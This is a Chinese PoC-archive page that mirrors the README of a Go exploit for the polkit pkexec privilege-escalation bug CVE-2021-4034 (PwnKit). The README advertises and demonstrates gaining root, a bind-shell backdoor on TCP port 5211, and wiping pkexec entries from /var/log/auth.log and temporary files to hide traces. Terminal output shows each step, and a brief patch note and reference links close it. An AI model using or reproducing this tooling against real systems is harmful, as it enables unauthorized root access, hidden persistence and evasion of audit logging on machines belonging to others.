目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

来源
关联漏洞
标题: polkit 缓冲区错误漏洞 (CVE-2021-4034)
Description:polkit是一个在类 Unix操作系统中控制系统范围权限的组件。通过定义和审核权限规则,实现不同优先级进程间的通讯。 polkit 的 pkexec application存在缓冲区错误漏洞,攻击者可利用该漏洞通过精心设计环境变量诱导pkexec执行任意代码。成功执行攻击后,如果目标计算机上没有权限的用户拥有管理权限,攻击可能会导致本地权限升级。
Description
A golang based exp for CVE-2021-4034 dubbed pwnkit (more features added......)
介绍
# PwnKit-go-LPE (CVE-2021-4034)

A golang based exp for CVE-2021-4034 dubbed pwnkit

``` bash
@@@@@@@   @@@  @@@  @@@  @@@  @@@  @@@  @@@  @@@  @@@@@@@              @@@@@@@@   @@@@@@   
@@@@@@@@  @@@  @@@  @@@  @@@@ @@@  @@@  @@@  @@@  @@@@@@@             @@@@@@@@@  @@@@@@@@  
@@!  @@@  @@!  @@!  @@!  @@!@!@@@  @@!  !@@  @@!    @@!               !@@        @@!  @@@  
!@!  @!@  !@!  !@!  !@!  !@!!@!@!  !@!  @!!  !@!    !@!               !@!        !@!  @!@  
@!@@!@!   @!!  !!@  @!@  @!@ !!@!  @!@@!@!   !!@    @!!    @!@!@!@!@  !@! @!@!@  @!@  !@!  
!!@!!!    !@!  !!!  !@!  !@!  !!!  !!@!!!    !!!    !!!    !!!@!@!!!  !!! !!@!!  !@!  !!!  
!!:       !!:  !!:  !!:  !!:  !!!  !!: :!!   !!:    !!:               :!!   !!:  !!:  !!!  
:!:       :!:  :!:  :!:  :!:  !:!  :!:  !:!  :!:    :!:               :!:   !::  :!:  !:!  
 ::        :::: :: :::    ::   ::   ::  :::   ::     ::                ::: ::::  ::::: ::  
 :          :: :  : :    ::    :    :   :::  :       :                 :: :: :    : :  :   
                                                                                           
                                                                        By lUc1f3r11
```

# New features

 - dynamically pkexec path by just adding -pk arg
 - bind shell backdoor
 - /var/log/auth.log and pkexec tmp files clean
 - written in pure go and using upx compressed volume

## build

 - ![](./img/1.jpg)

# Enjoy

1. run the pwnkit file to get root first

``` bash
┌──(kali㉿kali)-[/root/pwnkit/CVE-2021-4034-go]
└─$ id      
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer)
                                                                                                                                    
┌──(kali㉿kali)-[/root/pwnkit/CVE-2021-4034-go]
└─$ whoami
kali
                                                                                                                                    
┌──(kali㉿kali)-[/root/pwnkit/CVE-2021-4034-go]
└─$ ./pwnkit   
@@@@@@@   @@@  @@@  @@@  @@@  @@@  @@@  @@@  @@@  @@@@@@@              @@@@@@@@   @@@@@@   
 @@@@@@@@  @@@  @@@  @@@  @@@@ @@@  @@@  @@@  @@@  @@@@@@@             @@@@@@@@@  @@@@@@@@  
 @@!  @@@  @@!  @@!  @@!  @@!@!@@@  @@!  !@@  @@!    @@!               !@@        @@!  @@@  
 !@!  @!@  !@!  !@!  !@!  !@!!@!@!  !@!  @!!  !@!    !@!               !@!        !@!  @!@  
 @!@@!@!   @!!  !!@  @!@  @!@ !!@!  @!@@!@!   !!@    @!!    @!@!@!@!@  !@! @!@!@  @!@  !@!  
 !!@!!!    !@!  !!!  !@!  !@!  !!!  !!@!!!    !!!    !!!    !!!@!@!!!  !!! !!@!!  !@!  !!!  
 !!:       !!:  !!:  !!:  !!:  !!!  !!: :!!   !!:    !!:               :!!   !!:  !!:  !!!  
 :!:       :!:  :!:  :!:  :!:  !:!  :!:  !:!  :!:    :!:               :!:   !::  :!:  !:!  
  ::        :::: :: :::    ::   ::   ::  :::   ::     ::                ::: ::::  ::::: ::  
  :          :: :  : :    ::    :    :   :::  :       :                 :: :: :    : :  :   
By lUc1f3r11
[+] Beginning exploit...
[+] mkdir 0755 GCONV_PATH=.
[+] chmod 0755 GCONV_PATH=./evildir
[+] mkdir 0755 evildir
[+] writefile 0755 evildir/gconv-modules
[+] writefile 0755 evildir/evil.so
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer),1000(kali)
# whoami
root
```

 - ![](./img/2.jpg)

see the tmp file and log file exists

 - ![](./img/3.jpg)

2. run bindshell file to clean /var/log/auth.log and pkexec tmp files and open a tcp bind shell

``` bash
# ./bindshell &
# [+] setting command exec path env
[+] cleaning /tmp/pkexec* files
[+] cleaning /var/log/auth.log pkexec logs
[+] cleaning /tmp/al
[+] open a bind tcp shell on port 5211

#
```

 - ![](./img/4.jpg)

 - ![](./img/5.jpg)

# vuln pkexec file and patched pkexec file avaliable to make your debug easier

 - [vuln pkexec](./pkexec)
 - [patched pkexec](./pkexec-good)

# vuln repair

``` bash
┌──(root💀kali)-[~/pwnkit]
└─# cp pkexec-good /usr/bin/pkexec
┌──(kali㉿kali)-[/root/pwnkit/CVE-2021-4034-go]
└─$ ./pwnkit
@@@@@@@   @@@  @@@  @@@  @@@  @@@  @@@  @@@  @@@  @@@@@@@              @@@@@@@@   @@@@@@   
 @@@@@@@@  @@@  @@@  @@@  @@@@ @@@  @@@  @@@  @@@  @@@@@@@             @@@@@@@@@  @@@@@@@@  
 @@!  @@@  @@!  @@!  @@!  @@!@!@@@  @@!  !@@  @@!    @@!               !@@        @@!  @@@  
 !@!  @!@  !@!  !@!  !@!  !@!!@!@!  !@!  @!!  !@!    !@!               !@!        !@!  @!@  
 @!@@!@!   @!!  !!@  @!@  @!@ !!@!  @!@@!@!   !!@    @!!    @!@!@!@!@  !@! @!@!@  @!@  !@!  
 !!@!!!    !@!  !!!  !@!  !@!  !!!  !!@!!!    !!!    !!!    !!!@!@!!!  !!! !!@!!  !@!  !!!  
 !!:       !!:  !!:  !!:  !!:  !!!  !!: :!!   !!:    !!:               :!!   !!:  !!:  !!!  
 :!:       :!:  :!:  :!:  :!:  !:!  :!:  !:!  :!:    :!:               :!:   !::  :!:  !:!  
  ::        :::: :: :::    ::   ::   ::  :::   ::     ::                ::: ::::  ::::: ::  
  :          :: :  : :    ::    :    :   :::  :       :                 :: :: :    : :  :   
By lUc1f3r11
[+] Beginning exploit...
[+] mkdir 0755 GCONV_PATH=.
[+] chmod 0755 GCONV_PATH=./evildir
[+] mkdir 0755 evildir
[+] writefile 0755 evildir/gconv-modules
[+] writefile 0755 evildir/evil.so
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
```

# Reference

 - [pkwner](https://github.com/kimusan/pkwner)
 - [chenaotian/CVE-2021-4034](https://github.com/chenaotian/CVE-2021-4034)
 - [The tale of CVE-2021-4034 AKA PwnKit, The 13-Year Old Bug](https://www.hackthebox.com/blog/The-tale-of-CVE-2021-4034-AKA-PwnKit-The-13-Year-Old-Bug)
 - [PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034)](https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034)
 - [An00bRektn/CVE-2021-4034](https://github.com/An00bRektn/CVE-2021-4034)
 - [dzonerzy/poc-cve-2021-4034](https://github.com/dzonerzy/poc-cve-2021-4034)
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →